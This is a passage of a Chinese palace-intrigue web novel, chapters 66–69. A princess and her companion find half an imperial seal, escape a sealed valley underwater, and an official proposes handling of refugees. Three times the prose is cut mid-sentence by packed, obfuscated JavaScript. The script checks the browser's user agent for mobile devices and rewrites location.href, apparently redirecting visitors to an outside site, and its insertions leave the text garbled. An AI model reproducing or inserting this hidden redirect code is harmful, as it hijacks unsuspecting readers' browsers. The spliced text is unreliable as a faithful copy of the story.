晏泠音站了起来。她口干舌燥,唇间还留着辛麻苦涩的味道。她寒声开口:“苏公子,这里是我的国家,其上万万千千,都是我的子民。你要我任它倒塌,但百姓何辜?我自可坐山观虎,甚至推波助澜——不是很简单吗?解决流寇只需一场大火,安置几州难民只需大开城门任其被攻破,朝廷的混乱账簿无需再理,只要挑起世家间的纷争,自然能借力打力完成清洗。不能为我所用者就将他除掉,这不就是逐风阁创办的宗旨?可曾祖母创立十二卫时,曾设下代代相传的严令:至太平之世,当罢十二卫,永不复用。” 她很少一口气说这样多的话,以至于苏觅的眼中第一次出现了惊讶。他跪在地上,没有改变动作,也没有出声应答。他和晏泠音都明白,盛世大治的梦是由无数阴诡毒术堆积出来的,要进入那样的理想,就需有与世委蛇的决心。他们的不同在于,苏觅舍得下注,舍得押上天下人的性命。 而晏泠音,确实如他所说,是畏缩不前的。她在赌局里负累重重,担荷太多,手边身后却都空无一物。她唯一敢押上的注,只有她自己。 这种懦弱和孤傲不属于政客,只属于书生。他该敬她勇毅,还是笑她迂腐天真? 不如笑他自己,明知她所言句句是错,却依旧不想不愿严辞辩驳。 是他思虑未周,苏觅勾起了唇。他从多年前便已自视为将死之人,于世间万物皆无所留恋,可今日,胸腔中却有什么跳动得那样用力,那样迅疾,几乎令他感到了疼痛。他不能否认——他的自负也不允许他否认,他开始贪心了。 贪便生忧,贪便生惧。他的贪欲让他无法直视晏泠音,却更无法将目光从她身上挪移开去。胸腔里的异物为丝线缠缚,愈收愈紧,却连痛意都带着欢愉。丝线的另一端就系于晏泠音指间。她干干净净,而他欲念满身。 这不公平。 他要拉她共沉沦。 66. 帝玺 晏无怀的墓占地不大,但所居甚高,从这里能俯瞰半个受生谷。它素朴、幽静,伴着苍松、蔓草与野花,美得近于野性。风起时山鸣谷应,云岚低首,晏泠音在墓前驻足的片刻里,恍似见到了女帝风度。 一颗松果骨碌碌地滚到她脚下,慌忙跟来的还有一只长耳松鼠。它抱起松果,一步三回头地看着晏泠音,像是担心她要与它争抢。 昨日为了生火,她捡了不少松果壳回去,只怕当时已被它看在眼中。 晏泠音的心绪定了下来。她蹲下身,将脚边的另一颗松果也抛给了它。去意既决,她胸中隐隐的焦躁感倒是淡了不少。松鼠见晏泠音举止友好,对她卸下了防备,一蹦一跳地折返,刨起了她脚边的土。墓边的土地并不平整,布满了深深浅浅的小坑,看来就是它的杰作。 她对松鼠的私藏兴趣不大,正要起身离开,却忽然被一抹碧色晃了下眼。不同于蔓草的鲜绿和松叶的苍翠,那抹色泽浅淡如雨后天,却又极其澄澈通透,似凝固的谷中流水。 不对,那绝不是谷中之物。 晏泠音盯着它看了一阵,那种口干舌燥的感觉又回来了,令她心如擂鼓。她朝着松鼠的位置挪了一步,缓慢地伸出了手。 小家伙机灵,在她抓住那块东西时露出了尖利的牙,一口咬了上来。晏泠音躲得快,只被它咬坏了袖摆,嗤啦扯下了一大片衣料。 “殿下?”苏觅两步跨至她身旁,俯身查看她有无受伤,又冷脸扫了眼那尖牙利齿的小东西,惊得它跳了一下。松鼠不敢靠近苏觅,只好不甘心地尖声叫了起来,眼巴巴地望着晏泠音,显得相当委屈。 晏泠音已拂去了那东西上粘附的尘土,无声地倒抽了口凉气。 玉玺。 躺在她手心的,分明就是那只久寻无着的帝王玺,上面纹饰繁复,纠缠成一个篆刻的“晏”字。 唯一的问题是它并不完整,切面光洁平滑,显然是被锋利的刀具从中劈开过,只留下了半块。 * 马蹄下尘泥飞溅。魏收紧盯着前方,纵马疾驰,与一架破旧的马车擦身而过。还未奔出两步,青荷清亮的声音已从身后传来:“停下!” 几乎是下意识地,魏收紧勒住缰绳,迫得座下的马扬蹄而嘶。他调转马头,在那一瞬惊得心跳骤止。 青荷勒马挡在路中,那架马车没有丝毫减慢的势头,正直直地冲她奔去。 飞鸿剑嗡声出鞘,魏收在回追时俯身抄起路边的石子,掷向那匹拉车的马。飞石呼啸,在即将扎进马眼时被长剑挡开,金石相撞,发出铿然声响。 好快! 魏收自认眼力不错,掷石的准头也算上佳,但驾车者的反应实在太快。那人甚至没有回头,仅是听风辨器,便精准打掉了后方袭来的石子。他一手还握着缰绳,试图把控方向,但马已然受了惊吓,脚步乱了,整辆车开始往路边偏移。 北地竟有如此高手,是谁? 魏收警觉之心大起。他没给那人喘息的机会,飞鸿剑连挑了数下,碎石如雨点般砸向马的腿弯。在那人挥剑格挡时,他已经奔近了马车,一剑往马头刺去。 “哥哥小心!” 喀嚓一声,削铁如泥的飞鸿被另一把长剑挡住了。剑刃抵着剑身,在摩擦间发出令人牙酸的声响。那人倏然抽剑,俯身避过剑芒,又倏然回剑,直刺向魏收的胸口。他刺的方向刁钻,但近身搏斗时,长剑到底不如短剑灵活,劣势已显。魏收拨偏了他的剑锋,又硬接下他迎面送来的一拳,想就势将他拉下马车。那人反应极快,一面架住魏收的胳膊,一面调转长剑,虚绕了半个圈,劈向魏收的脖颈。 两马并驰间,两人已斗了好几个来回,急切间分不出胜负。马车则彻底偏离了方向,眼看就要翻向路边的沟渠。枣红马颇有灵性,察觉到主人的意思,撅起蹄子踢向拉车的黑马。那马前腿一弯,整个身子都往地面跪去。 车厢里传出小儿的惊叫,魏收心神一震,情急之下探过身去,狠力斩断了车辕。驾车者早在马身倾倒前便纵身跃起,攀住枣红马的马腹,抬手刺向已然门户大开的魏收。 千钧一发之际,疾奔至马前的青荷极险地替他挡下了这一剑。但她手中的匕首不敌长剑锋利,在白刃相抵时被砍成了卷刃的废铁。 魏收猛地回身收剑,又替她挡下一击。他的袖子破了,布条纷飞,那人的头发也被他削下来一缕,在空中打了个卷,被风刮得看不见了。 旁边传来重物落地的声响,孩童的惊叫变成了啼哭。魏收推了把青荷让她去照看,同时抬脚狠踹向马腹下的人。那人身形高大,枣红马又几度晃头甩蹄,可他在颠簸间始终没有被摔下去,这份马上功夫的娴熟让魏收暗自吃惊。 梁国人其实不擅骑马,更不擅骑这种凶悍的枣红烈马。驯马、在马背上腾挪跳跃,是幽国男子成年前必学之技。唯有经受了这一重考验,才有资格称自己是男儿郎。 难道他是幽国人? 很快魏收就否定了这个想法。那人在闪避间弃了马,侧身滚地,魏收紧随其后跃下,抬剑便刺,却扎进了砾石。他拔剑的动作很快,但那人应变更快,不及跃起,半卧在地撑起肩臂,雪亮的长剑横斜过来与飞鸿相撞,化解了那一招气势宏壮的“缘崖剪流”。 这一下格挡是下意识的,两人都祭出了最为顺手的剑式,待到反应过来后,又齐齐变了脸色。 “落梅剑法,”魏收的剑尖就停在他的咽喉旁,“你是谁?” 那人的长剑也指在魏收心口。他看着不算老,但发已灰白,半边眉毛都掉光了:“我是谁,什么要紧。百年后也无人记得你的名字,只知有一位选错了主子的飞字卫。” 魏收往后跃出一步,避开他的剑锋,那人一个滚身爬起,还未站稳便递出长剑,迎上魏收的攻势。但魏收使的是虚招,步子一晃便绕到那人身侧,反手用飞鸿挑开了他蒙面的布。 他见过这个人。 在泾州的牢狱里,有一张和这人一模一样的脸。那是谢朗曾生擒的敌军将领,姓詹。 谁放了他? “我本一介草民,何论名姓,”魏收的面色冷如严霜,“不像你厚颜无耻给幽国人做狗,千百年后还要遭万人唾骂。” 詹士伦不以为意地笑了笑。他瞥了眼翻倒在地的马车,见青荷已将车上的人扶了出来,一位衣衫褴褛的妇女,和一个显然受了惊吓、浑身颤抖的孩子。 "你去蔚州做什么?"他问魏收,“找你主子吗?抱歉,她已经死了。” 魏收心中惊疑,脸上不动声色,握剑的手却陡然一紧:“你怎么敢弑主叛君。” “十二卫只尊奉强者,”詹士伦饶有兴致地端详着魏收的神情,“她计拙才疏,死得轻易,就不是我要找的人。” “哥哥,不要信他。”青荷朝魏收走近一步,把那对母子挡在自己身后。她面色苍白,语气却意外地坚定,“他在撒谎。” 詹士伦眯眼望向青荷,冷笑一声,轻蔑道:“贱婢。” 魏收剑出得太快了,连眼力远超常人的詹士伦都没能看清他的动作。刺啦一声,詹士伦的前襟被划开,他仓促间回剑格挡,却还是晚了一步,胸口已鲜血淋漓。 两人又缠斗在一起,魏收盛怒之下,出手既快又狠,但气性上冲,剑法难免就有了漏洞。青荷怕他出事,见他们斗得紧,自己无法插手,只能在一旁急道:“先不必管他,哥哥,我们找殿下要紧。”她又回头看了眼那对母子,迟疑道,“他们好像生了病,得找大夫才行。” 魏收和詹士伦武艺相当,若真打到最后,必会两败俱伤,谁都讨不了好。那孩子又适时哭了起来,摇晃着他瘫坐在地的母亲:“阿娘,阿娘,你怎么了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506171|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 詹士伦刷刷两剑,将魏收逼得后撤一步,随即不再恋战,转身便走。魏收想追,又疑他此举是诈,回头看了眼那哭泣的孩童。 青荷跪坐在地,抱着那位昏迷过去的妇女,正抚上她的额头。魏收暗叹一声,不再管跑掉的詹士伦,走近她们,蹲身探了下女子的鼻息。 还有气。 “你是怎么发现的?”魏收这才想起来问她。他在信任青荷这一点上向来毫不犹豫,“这辆马车。” “她把手伸出车外,”青荷低声道,“在求救。” 魏收皱起了眉。他方才一心赶路,倒是没注意到这点。他打量着女子的脸,留意到她的衣衫虽然破旧,左耳却戴了一只小小的耳坠,纹样有些眼熟。 “你娘叫什么?”魏收蹲在那孩子面前,尽量放柔了声音。孩子像是还没回过神来,满脸泪水,抽噎着答不出话。 “这么问罢,”魏收沉下脸,唬得那孩子噤了声,“你是不是姓高?” 孩子睁着通红的眼看他,没点头,也没否认。魏收长出了口气,撑着膝站了起来。 “高介景糊涂。” 谢朗严禁家属随军,正是为了防备此事。魏收不知他们是如何落入了幽军手里,又是如何出现在这条官道上,但此刻比起这个,还有更重要的事。 “泾州牢里的那个不是真正的幽国将领,这件事得让谢朗知道。”魏收打哨唤来了马,“你回去报信,我继续去蔚州……青荷,”他用粗糙的掌揉了下青荷的发顶,“你方才为何那样肯定,殿下无恙?” 青荷垂首不言,魏收蹲下身去看她的眼睛,却见其中有泪光。他心中一痛,反过来安慰她道:“殿下吉人天相,必然不会有事,我与你想的一样。你别太担心,哥哥一定会把殿下带回来。倒是你,回泾州这一路,万事都要小心。” 青荷迟疑地看着怀中的女子:“那她们……” 她还要骑马,很难再带一个昏迷的人,何况旁边还有个小孩。方才为了防止车翻进沟道,魏收将车辕斩断了,马车也不能再用。 怎么办? 魏收觉得冥冥之中像是真有个狗老天在看着,他刚一犯难,就又听到了车轮滚动的辘辘声。泾州开战的消息早就传遍了附近的州县,这一回又是什么人,要在此时不怕死地奔走在通往泾州的路上? 他很快见到了那个“不怕死”的人。 粗糙的沙砾被朔风裹挟,卷进了车厢里,打在身上颇有些疼痛。道路崎岖,车子颠簸得厉害,崔含章被晃得头晕,几欲作呕,却没让人放慢速度。 驾车的崔婉蒙着面纱,没有戴簪环,只用深色的发带将乌发高束在脑后。她一身青灰布袍,乍一看与民间女子无异,只脖颈和腕间的肌肤都白如凝脂,背脊笔挺,略显瘦削的肩在车架晃动时依旧摆得平稳,自然流露出清贵气度。 “照这样走下去,天黑前应该能赶到泾州。”她回过头,从车帘的缝隙里看了眼车内的人,“叔父和山儿还好吗?” 崔含章胸闷气短,说不出话,只默不作声地踩了一脚旁边打瞌睡的少年。蜷在车厢角落的夏山嗷的一声痛醒了,还没睁眼便连声道:“好着,好着,姑娘再快些也无妨。” 可崔婉却缓缓勒停了马。她敲了敲厢壁,示意夏山出来替她看着马,自己却跃下车去。夏山睡眼惺忪地刚扒住车帘,就被身后的崔含章轻轻推开了。方才还晕得半死不活的人钻出了车厢,目光落在不远处的崔婉身上。 她俯身时,脖颈弯出漂亮的弧度,轻声细语地对地上的女子解释:“让我看看她,我是大夫。” 崔含章掩住口鼻,强压下那股晕车的恶心感。他与魏收对上了视线,两人都没有急着开口。 夏山看不到外面,不安地扯着他的衣角:“大人……” 他手中一空,崔含章也踉跄着下了马车。 67. 性命 轰的一声,谷中不知何处爆开了巨响,地动山摇。那只原本还瞪着晏泠音的松鼠尖叫一声,扒住她的裙摆,想也没想就跳上了她的鞋尖。 晏泠音起身时没能站稳,晃了一下,被苏觅扶住了。他一面跟着晏泠音四下张望,一面不动声色地去踢那只松鼠:“这是怎么了?” 崖壁上碎石簌簌下落,鸟兽惊散。晏泠音拽着苏觅走了两步才反应过来,将他的手松开:“好像就在我们下面。” 说话间,又一声巨响爆了开来。这回两人都听得分明,确实是从脚下传来的。离他们不远就是山谷南面的岩壁,响声就来自岩壁底部。 晏泠音掉头便往山下走。 那是火药炸开的动静。 受生谷与其说是个山谷,不如说是个巨坑。它的四面都是光滑陡峭的断崖,将人囚禁在四四方方的深渊里,因而晏泠音从一开始便断了爬上去的念头。且这些崖壁又很厚,他们栖身的山洞已足够深了,却远没有达到能将岩石凿穿的程度。她敲过,摸索过,探查过,直至目前,都还没找到通向岩壁另一侧的路。 所以她才开始注意那片湖。 但现在…… 火药炸响了第三声,带来了比前两次都更加厉害的摇撼。苏觅挥袖替她挡开了一截砸落的树枝,自己被尘泥扑了满头满面:“外面有人想用火药开路。” 山匪不会这么做,外面的人能找到这里,就说明蔚州的形势还没有太糟,晏泠音略微放下了心。她回过身,拎着袖子,礼尚往来地替苏觅擦了下脸,指着身前的岩壁问:“那里,是不是有光进来了?” 看起来严丝合缝的山崖竟然并非铁板一块,堵塞着孔隙的泥沙被炸开后,原本荫蔽在松影下的岩角亮起了微弱的光,来自他们看不到的另一侧。晏泠音俯下身去,试着从那漏风的小洞里往外看,心却猛地一沉。 这确实是一条路,可惜已经被堵死了。 崖壁之间原本有一条半人高的小径,足够两个人猫着腰、肩并肩地通过,但不知是如何做到的,里面被嵌入了滚石。至少有十几只半圆半方的石头列于其中,彼此挤得严实,在轰炸之下依旧纹丝不动。很明显,即便再炸上几十次,也绝无可能将这种厚度的“石墙”炸开。 外面的人似乎也意识到了这一点,岩壁外安静下来,迟迟没有爆出第四声震响。晏泠音直起身,苏觅从她的脸色中猜到了一切。 “我想也是,”他轻声道,“如果这条路轻易就能被打开,乐山就不再是蔚州对外的屏障,反而成了引狼入室的隐患。” 晏泠音抬手抚上凹凸不平的石壁:“是好事。” “一定还有旁的路径,”苏觅沉吟道,“先让外面别白费力气了,火药宝贵。” 晏泠音拾起一块碎石,敲了敲离自己最近的岩壁,空寂的敲击声在孔隙间回荡了一阵,很快,她听到了回应。 别的不谈,起码让外面知道他们确实在山谷里,且还存活。 晏泠音猜测在山谷的另一侧,或许还存在着一条相似的通道。她和苏觅一路绕了过去,仔细地摸过了每一处可能松动的岩石。可是没有,北面的断崖是真的毫无缝隙,没留下任何人为开凿的痕迹。 这一绕,又过去了两个时辰。两人回到湖边,就着湖水洗了几只野果,默然无言地啃着。野果甘甜,晏泠音也饿得狠了,却有些食不下咽。 “我要下去。”她擦净手上残留的汁水,忽然站了起来,背对着湖水对苏觅道,“你在岸上等我。” 苏觅也站起了身,说的话却颇有些古怪:“殿下,是要丢下我吗?” 他和晏泠音在一起时,那种恹恹的病容便没那么明显,可此时他站在湖边的凉风里,衣衫拂动间,瘦得惊人的身躯也隐隐显现。 见此,晏泠音堵他的话便有些说不出口。她在此刻忽然想起——或许并不合时宜——苏觅是一个病得命不久矣的人。 她斟酌片刻,还是轻声道:“我没有要丢下你,是你自己说的,你不会游水。”她顿了顿,又补充了一句,“我下去看看就上来。” “即便湖下真的有路,我也走不了。”苏觅声音很柔。他面色平静,那种语气却让晏泠音无端觉得寒心,“所以殿下不必再回来找我,若能走,就走罢。” 她认得这样的苏觅。那日在暴雨滂沱的宛京,在追兵重重的殷宅里,苏觅也是如此,以近于从容的姿态,坦然地选择成为被留下的那个人。此后数次午夜梦回,晏泠音也问过自己,后悔吗? 后悔拉了他一把,从那一刻起便与此人纠缠不清、暧昧不明吗? 可她也没有办法。她就是这样的人。 晏泠音摸出怀中的玉佩,在苏觅略显惊讶的目光中将它递给了他。她说得笃定:“我会回来的,至少要给你一个交代。” 玉佩上的红丝绦鲜艳夺目,在风中微微颤抖着。 晏泠音不再看他。她解下罩衫,确认过玉玺已被妥帖地放在了胸口,便深吸了口气,紧抿住唇,纵身跃入了湖中。 好凉。晏泠音屏住呼吸,久违地体验到了被水环绕的感觉。与横渡白水河的那次不同,她须将整个身子浸入湖中,能清晰地感受到肺里的气息被一点点挤压出去。湖面离她越来越远,她在往下沉,潜向不可知的黑暗。 她无法控制记忆的涌现。 晏泠音最怕两种事物,一是深水中的窒息感,二是狭小黑暗空间里的压迫感。后者至今依然是她的梦魇,但对于前者,她已经强逼着自己尽最大努力去克服了。 温敏以堪称严苛的训练方式教会了她游水,也教会了她直面对水的恐惧。 晏泠音耳边嗡鸣,冰凉的湖水刺进了她的眼睛,迫得她眯起了眼。她竭力寻找着可能通往谷外的道路,或许是一处孔洞,又或许…… 扑通一声,晏泠音拨水的动作骤然一停。是她的错觉吗?头顶的湖面似乎起了涟漪。 她抬起头,看见了苏觅。 疯子。她早已不知多少次用这个词斥过他,却从没有哪一次如此震惊。她一眼就看出苏觅是真的不会水,无论是那笨拙的、毫无章法的划水姿态,还是那苍白的面容和因不适而半闭的眼。 可即便在此时,隔着层层水浪,他还是冲晏泠音笑了一下,晃了晃受手中紧攥的玉佩。他的乌发在水中四散,衣衫被浸得半透,眉心的朱砂却越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516582|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发灼眼,烧得整片湖水都开始隐隐发烫。 ……她拦不住自己寻死的人。 晏泠音的怒火被他那一笑惹得直往上窜,她也不知自己为何会气成这样。她蹬着水往上浮,想拉住苏觅把他带回岸边,却见他胡乱划动的手臂已经停住了,笔直地指向她的身侧。她沿着那个方向回眸望去,看见了掩在水草后的一小片亮光。 是真的隐蔽,即便她再找下去也未必能发觉。 理智的做法是先送苏觅回去,再由她去光亮处探寻,但看苏觅的神色,便知他显然没有这个打算。一个不通水性的混账在水中展现出了惊人的镇定和执拗,以某种不可思议的速度沉到了湖底,沉到了晏泠音的身边。 他试图带她往前。 晏泠音已不能辨别胸中的情绪是否真的是怒气。她的右手与苏觅的左手紧紧相牵,流水也无法将他们冲散。靠近那片光亮后,晏泠音已隐约看出来,那是个容许一人通过的孔洞,这片湖水能保持清澈,或许就是因为有这处从外界流入的水源。 但他们谁都不能保证钻出去后会遇到什么。 他们可能会死在水下。 迟来的窒息感缠绕上了晏泠音,而苏觅的脸已然变得青白。她犹豫了一瞬,想要后退,苏觅却忽然臂上使力,将她从洞口推了出去。 而在他松开手的前一刻,晏泠音紧咬着牙,将他也拉了出来。 万幸,她的头顶有光亮,且看着并非遥不可及。如果此刻是在岸上,晏泠音想,她应该会流泪。她牵着昏昏沉沉的苏觅往上浮,胸口压抑得像要炸开,眼前也出现了黑影。没有力气了,但还是要游,她逼着自己往上走,不能松懈,不能停下。 苏觅的身子越来越沉,他似乎已经失去了意识,拉住他变得越来越难。晏泠音明白,如果她此刻放手,或许还能拼着一口气游到水面。 做选择有意义吗? 她活着的这十数年里,学习识字、读书,学习如何成人,如何成为君子。她也懂得性命可贵,上位者尤其如此,一个人的命往往与更多人的彼此牵系,密不可分。她习惯于冷静思考、果断抉择,努力看得更远,想得更深。 可真到了这种性命攸关的两难时刻,她竟然不知道自己是勇敢还是软弱。她没有求之于理智,而是听从了本能。 她吻住了苏觅冰凉的唇。 即将耗尽的气息被她渡给了苏觅。身上没有哪一处不因缺氧而酸痛发胀,但她已不愿再去拷问自己的心。若她身边的不是苏觅,而是另一个并不熟悉的陌生人,她会不会抛下他独自游向水面?她这样做,是出于虚伪的善意,还是逃避责任的冲动,亦或是连她自己也没有意识到、更不会主动承认的隐秘感情? 不重要了。 她松开手,在纷乱的发丝间注视着苏觅,迟钝地意识到这将是她在世间看见的最后一张脸。 如果这就是留恋。 排空了气息的身体变得沉重,晏泠音发现自己在往下坠落。就在昏迷的前一刻,苏觅倏地睁开了眼,与她对上了视线。 那是她从未见过、无法描述,甚至难以直面的眼神。他看着她,双目赤红,像在滴血。 68. 新生 魏收在短短半天里受了两次惊吓,只觉魂魄都已离壳。第一次是见马车冲向青荷的时候,而第二次,他看见他主子像块毫无生气的石头,紧闭着眼坠向水底。 即便胆子再大,也不代表他能睁着眼看这两个人出事。师父教他戒骄戒躁,每日反省己身,心定神闲,遇到危机方能沉着应对……都是狗屁。 崔婉在屋内照看晏泠音,魏收不好进去打扰,又不敢离开,只能抱着剑蹲在檐下发呆。白行也拎着盛药的炉罐从他身旁经过,停下来给他也倒了一碗:“婉姊姊说水凉,让你也喝点姜茶,去去寒气。” 她性格孤介,只在和崔婉相关的事上显露出耐心。魏收接了那滚烫的茶汤,一声没吭,仰脖喝了个干净。 白行也原本要走,但看他的样子实在可怜,想了想,破天荒又多说了两句:“婉姊姊说,还好你去得及时,葛家姊姊又略通些医术,再迟半刻,才是真的救不回来了。如今人没事,只着了寒,多少要调理些日子,也算万幸。” 魏收搁下空碗,嗯了一声。 白行也反倒逗他逗出了乐趣,索性在他身边蹲了下来:“不过我倒是好奇,她旁边那个男人是谁?长得实在可怕。” 魏收这才抬起头,古怪地哈哈一笑,咕哝一句:“谁管他死活。”他无意继续这个话题,强打起精神对白行也道,“我还要请教姑娘,是怎么发现那条河的?” 白行也不跟他客气,他也没把她当晚辈看。容貌娇憨的少女歪头想了片刻,轻描淡写道:“山路走不通,总该有旁的路。我会看水,那条河的流水是特意从白水河引过去的,风水上有讲究,我早觉得它不寻常了。” “姑娘是奇人。”魏收这句话说得真心实意,“听说度字卫最善探查,我看,却未必及得上姑娘。十二卫若能再度召齐,当以姑娘为首。” 白行也似觉困惑,扬起了眉:“你还没和我打过,怎么就认了输?何况我本事也有限,比方说,我就不会游水。” 她难得谦逊一回,倒让魏收有些不习惯。他见她拍了拍手站起身,刚走出两步,忽然又回了头:“你知道我师父是怎么死的吗?” 她头一次和他聊起自己的身世,魏收一怔,还没应答,就听她笑了一声:“她才是真正的天纵奇才,可惜学的东西太多太杂,又争强好胜,什么都想做到最好,硬生生把自己学死了。” 白行也拎着药罐走远了,魏收才回过神,不自觉打了个寒噤。 * 晏泠音醒后见的第一个人,不是魏收,不是葛芜亦或谢朗,而是崔含章。 连她自己也觉得意外。她同崔含章没有半分交情,无论是他忽然出现在泾州,还是他竟主动找上了自己,都让晏泠音心生警觉。她还记得苏觅说过的那些话,不能不提防着这个人。 况且,崔含章和苏觅不一样。他不会故布疑阵或是故弄玄虚,他呈现在人前时,就是一张白纸。再廉洁正直的人也会留下把柄、落人口实,干净成崔含章这样,未免可怖。 室内燃着安神的香,是崔婉点的。晏泠音不知道这香的名字和功用,但这几日她都睡得很好,没再做过怪梦。她同崔含章之间隔着一道屏风,看不见他的脸,只能望见他端直的身形。他双手叠放在膝盖上,微垂着头,显得恭谨。 “我在北地消息不通,今日才知崔大人入了提刑司,需得补上一句恭喜。” 入提刑司倒也不算至上荣耀,凭崔含章在大理寺的功绩考评,未必不能谋到更好的差遣。但按大梁旧例,提刑司检法官无权出巡所部州县,而崔含章却在上任伊始,就千里迢迢地从宛京来了北地,这背后须有晏懿授意和宰辅点头,那才是荣耀。 更确切地说,是本事。 崔含章声音里有谦和的笑意:“早听闻殿下宅心仁厚,待下平易,今日一见,果不虚所传。” “大人舟车劳顿,一路辛苦。”晏泠音仔细端详着那道剪影,几句话说完,他连坐姿都没有改变分毫,“巡查州县又非易事,大人敢孤身独行,好魄力。” 崔含章答得滴水不漏:“食君之禄,忠君之事,何谈苦辛。殿下谬赞了。” 那句“孤身独行”多少存了些试探,晏泠音不信他会一个人走到头。提刑司覆审州县罪案,职权说大也大,说小也小,只看负责的吏员想做到什么地步。这次巡查关系到地方官的年底考评,崔含章一身轻松地前来,官员们却不敢贸贸然地迎接。等待着他的不乏贿赂讨好的诱惑,更不缺横死暴毙的威胁,崔含章不能独担这个责任。换言之,他应该只是来打个头阵,背后还有旁人。 可他如此匆忙地赶到北地,没有按职巡查,反而先来泾州寻晏泠音——在不带任何仆从的情况下。这背后的缘由就很值得深思了。 “我此番遇险落水,”晏泠音慢慢转过了话头,“多亏崔姑娘精心照料才捡回一条命,实在感激。” “阿婉是大夫,治病救人是她分内之事,”提到崔婉时,他的语气柔和了些许,“殿下无需挂怀。” “如今非太平之时,崔姑娘不惧艰险留在北地,实有济世心胸。” “殿下金枝玉叶,却也为国事舍生忘死,我们做臣子的,只是尽些微末之力罢了。”崔含章顿了顿,轻声道,“刀剑无眼,她一介孤弱女子,还望殿下多多照拂她。” 他不去拜托与崔婉青梅竹马的谢朗,不去拜托一心护着崔婉的白行也,反而开口恳求和崔家并不相熟的自己,着实让晏泠音怔了一瞬。她斟酌着应道:“我敬崔姑娘为人,定会尽力护她,何况她于我有救命之恩。” “她性子倔,日后或有冲撞殿下的地方,”崔含章说得平静,“也望殿下能宽宏以待。我身为阿婉的叔父,先代她谢过了。” 他就着坐姿躬身行礼,晏泠音起了疑心。但不待她追问,崔含章已经接着说了下去:“我此来北地,一路所见皆为饥寒交迫的流民。眼下还可强挨,等天气再冷些,他们又要如何?这事需尽早处理,不能拖延。” 晏泠音难得遇到肯和她详谈此事的人,当即正色道:“难在钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529589|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮。” “此前流民聚于蔚州,盗匪猖獗,那是张知州有意为之,”崔含章显然已打听过蔚州的事,话说得委婉,“如今知州既然……身体抱恙,正是恢复州中民生的好时候。蔚州的负荷太重,要妥善处理流民,就不能再留这样多的人在城中。” “泾州仍在戒严,”晏泠音沉吟,“将士们的粮食都很紧缺,不宜再接纳外人。” 崔含章颔首:“只能寄望于附近的州县施以援手。泾州替他们挡下了幽国的大半攻势,他们总该有所表示。” “往东的青州,往南的惠州,都曾借粮给泾州。”晏泠音提醒他,“听说今年天气怪异,收成不好,两州的百姓也要过日子。” “不至如此,”崔含章笃定道,“青州风调雨顺,远比蔚州粮食充裕。” 说者未必无心,听者却确实有意。若是没有中间那道屏风,晏泠音倒真想看看他的神情。崔含章这个人不简单。 “地方官有自己的顾虑,未必肯出手,”晏泠音顺着他的思路说下去,已经隐隐觉察到了他的意图,“正因他们推来推去,流民才会流动不息。” 崔含章没有否认:“但若有擅辩之士晓之以理,动之以情,也未必不能将他们说服。” 晏泠音缓慢道:“大人果真好魄力。” “我亦无万全的把握,”崔含章摇了摇头,语带愧意,“空口狂言罢了。” 晏泠音站起了身:“大人若能造福万民,我当替几州百姓拜谢大人。” 崔含章也站起了身:“岂敢。万民福祉不系于我,实系于殿下。” 晏泠音呼吸微滞。 “安顿流民只是第一步,人多便杂,难保不会有贼人混于其中。蔚州遭乱已久,百姓的户籍都要重新编定,身份也要一一核查,这是难事,选人用人,需得百般谨慎。” 晏泠音望着屏风上那个身形微躬的人影:“崔大人可有人选?” 崔含章缓声反问:“我若荐举,殿下敢用吗?” 晏泠音的心突突跳。她定了定神,笑道:“官吏的选拔任命不经我手,大人是知道的。” 她如今的身份仍是惠和公主,那于她而言,是涉政。 “蔚州如今无人主事,官署中吏员死的死,逃的逃,亟需有能力的实干者。”崔含章不再绕圈子,说得直接,“否则,蔚州只会再度生乱。” “我已邀宣抚详谈,”晏泠音面色凝重,“不日他会上书陛下,陈述蔚州的变故,自请代领蔚州州事。” “此乃权宜之计,朝廷早晚还会选派新的知州。”崔含章叹了口气,“若那人是张氏党羽,殿下今日所作的一切,都不过是为国养蛆。” 晏泠音沉默片刻:“崔大人想荐举何人?” 崔含章从袖中掏出一张叠好的字条,高举过屏风,双手呈给晏泠音。她接过后哗啦抖开,扫了一眼,不觉讶然:“他……不是已经过世了吗?” 崔含章垂首,语气依旧恭谨:“只要殿下愿意,他便能死而复生。” 69. 同道 崔含章同她道了别。他走至门边时,晏泠音复又开口。 “三日后就是秋闱,不知大人族中可有要入仕的小辈?” 崔含章倚着门侧了下身:“确有两位有意仕进,请我瞧过文章。可惜他们才学稍欠,依我看,还需再磨炼几年。” 他又将自己涂成了一张白纸。晏泠音点了点头,没再说话。 